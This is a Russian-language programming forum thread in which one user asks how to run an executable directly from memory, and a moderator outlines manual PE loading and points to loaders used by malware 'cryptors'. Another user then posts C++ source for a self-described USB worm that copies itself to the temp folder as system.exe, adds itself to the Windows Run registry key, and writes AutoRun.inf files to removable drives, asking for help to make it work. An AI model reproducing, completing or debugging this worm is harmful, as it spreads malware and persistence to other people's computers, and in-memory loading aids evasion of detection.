[C++] Запуск exe из массива в память. Как?
| |
Slash | Дата: Воскресенье, 09.02.2014, 21:59 | Сообщение # 1 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Собственно я считал exe файл в массив, как его запустить напрямую из массива без создание файлов на диске???
Сообщение отредактировал Slash - Воскресенье, 09.02.2014, 21:59 |
|
| |
Волк-1024 | Дата: Воскресенье, 09.02.2014, 23:29 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить.
Pascal, C\C++, Assembler, Python
Сообщение отредактировал Волк-1024 - Воскресенье, 09.02.2014, 23:30 |
|
| |
Slash | Дата: Понедельник, 10.02.2014, 00:01 | Сообщение # 3 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Цитата Волк-1024 ( ) Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить. А примерчик?
|
|
| |
Волк-1024 | Дата: Понедельник, 10.02.2014, 03:00 | Сообщение # 4 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Гуглим:
http://www.rsdn.ru/article/baseserv/peloader.xml http://www.delphibasics.info/home....erazerz https://code.google.com/p....0 http://winlock.ru/viewtopic.php?id=1540
И вообще данный функционал есть в любом мало-мальски нормальном крипторе.
Добавлено (10.02.2014, 01:56) --------------------------------------------- В первой ссылке ответы на все вопросы.Добавлено (10.02.2014, 03:00) --------------------------------------------- Аххх.. чёрт, не заметил, что нужно на С++, а не на Делфи
Pascal, C\C++, Assembler, Python
Сообщение отредактировал Волк-1024 - Понедельник, 10.02.2014, 02:59 |
|
| |
Волк-1024 | Дата: Понедельник, 10.02.2014, 03:04 | Сообщение # 5 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Вот.
Pascal, C\C++, Assembler, Python
|
|
| |
Slash | Дата: Понедельник, 10.02.2014, 22:31 | Сообщение # 6 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Цитата Волк-1024 ( ) Прикрепления: peldr.zip(35Kb) · PEImage.zip(9Kb) · pe_lib_0.1.5.zip(229Kb) Благодарствую.
|
|
| |
Волк-1024 | Дата: Понедельник, 10.02.2014, 23:34 | Сообщение # 7 |
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
| Ещё.
Pascal, C\C++, Assembler, Python
|
|
| |
Slash | Дата: Среда, 12.02.2014, 01:58 | Сообщение # 8 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Цитата Волк-1024 ( ) Ещё. Спасибо!
Сообщение отредактировал Slash - Среда, 12.02.2014, 02:02 |
|
| |
Volf | Дата: Пятница, 28.02.2014, 09:29 | Сообщение # 9 |
Частый гость
Зарегистрирован: 11.04.2013
Группа: Пользователи
Сообщений: 41
Статус: Offline
| Доброе время суток! Начал изучать C++ возникла куча вопросов с которыми постепенно разбираюсь! Но вот незадача,решил написать простенький червячок.Копируется в папку темп и тупо создает файл AutoRun.inf на съемных дисках. Проблем заключается в том что я толком не знаю как юзать преобразование переменных.В результате на флешке выше указанный файл не создается.Зато в папке с программой появляется файл имя которого это буква съемного диска,в файле текст моего авторана.Смотрел по шагово выполнение программы отладчиком..не помогло. Кому интересно гляньте код,готов к любой критике)) Код #include <fstream> #include "StdAfx.h" #include <io.h> #include <windows.h> #include <stdio.h> //#define MAX_LOADSTRING 100
bool IsFileExist(LPCTSTR strFileName) { HANDLE hFile = ::CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); return (hFile != INVALID_HANDLE_VALUE); }
BOOL AddMyProgramToAutostart(TCHAR* szPath) { HKEY hKey = NULL; RegOpenKey(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hKey); if(!hKey) return(FALSE); RegSetValueEx(hKey,TEXT("Irbis"),0,REG_SZ,(PBYTE)szPath,lstrlen(szPath)*sizeof(TCHAR)); RegCloseKey(hKey); return(TRUE); }
void AvtoRun(LPCTSTR name) {
//_tcscat((wchar_t *)name,L"AutoRun.inf");
FILE *file=fopen ((PCHAR)(LPCTSTR)name,"w");
MessageBox(0,(LPCTSTR)name,0,0);
if (file) {
fprintf(file, "[autorun]\nOpen=usbdrive.exe\n"); fprintf(file, "icon=%%SystemRoot%%\\system32\\SHELL32.dll,4\n"); fprintf(file, "action=Open folder to view files\n"); fprintf(file, "shell\\open=Open\n"); fprintf(file, "shell\\open\\command=usbdrive.exe\n"); fprintf(file, "shell\\open\\default=1\n"); fclose(file); } else { MessageBox(0,0,0,0); } } //Заражение флешек PCHAR find_usbflash () { TCHAR* FIleR[5]; TCHAR buf[100]; int i; int Ser = rand() % 5 ; PCHAR drive;
TCHAR buffer[MAX_PATH]; DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf); for(TCHAR* s=buf; *s; s+=_tcslen(s)+1) { LPCTSTR sDrivePath = s; UINT uDriveType = GetDriveType(sDrivePath); if (uDriveType == DRIVE_REMOVABLE) { AvtoRun(((LPCTSTR)s));
} return 0; } } }
//*******************
//Создание мьютекса bool MyMytex() { HANDLE hMutex; hMutex = CreateMutex(NULL,TRUE,_T("/1/")); if (GetLastError() == ERROR_ALREADY_EXISTS) { return true; } else { return false; } } //************* //Процедура установки программы BOOL Setap() { TCHAR buffer[MAX_PATH]; TCHAR temp[MAX_PATH];
STARTUPINFO si; memset(&si, 0, sizeof(si)); si.cb = sizeof(si); PROCESS_INFORMATION pi; memset(&pi, 0, sizeof(pi));
GetModuleFileName(NULL,buffer,sizeof(buffer)); GetTempPath(MAX_PATH,temp); _tcscat(temp,_T("system.exe"));
if(IsFileExist(temp)) { AddMyProgramToAutostart(temp);
} else { CopyFile(buffer,temp,false); CreateProcess(NULL, temp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); AddMyProgramToAutostart(temp); ExitProcess(0); }
return 0; } //**********
int FindKey() { int kodkey; short key=GetKeyState(kodkey); switch(key) { case VK_LCONTROL:MessageBox(0,0,0,0); } return key; }
//Маин класс int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {
if(MyMytex()==true) { ExitProcess(0); }
Setap();
while(true) { Sleep(5000);
find_usbflash(); } return 0; } //**********
|
|
| |
|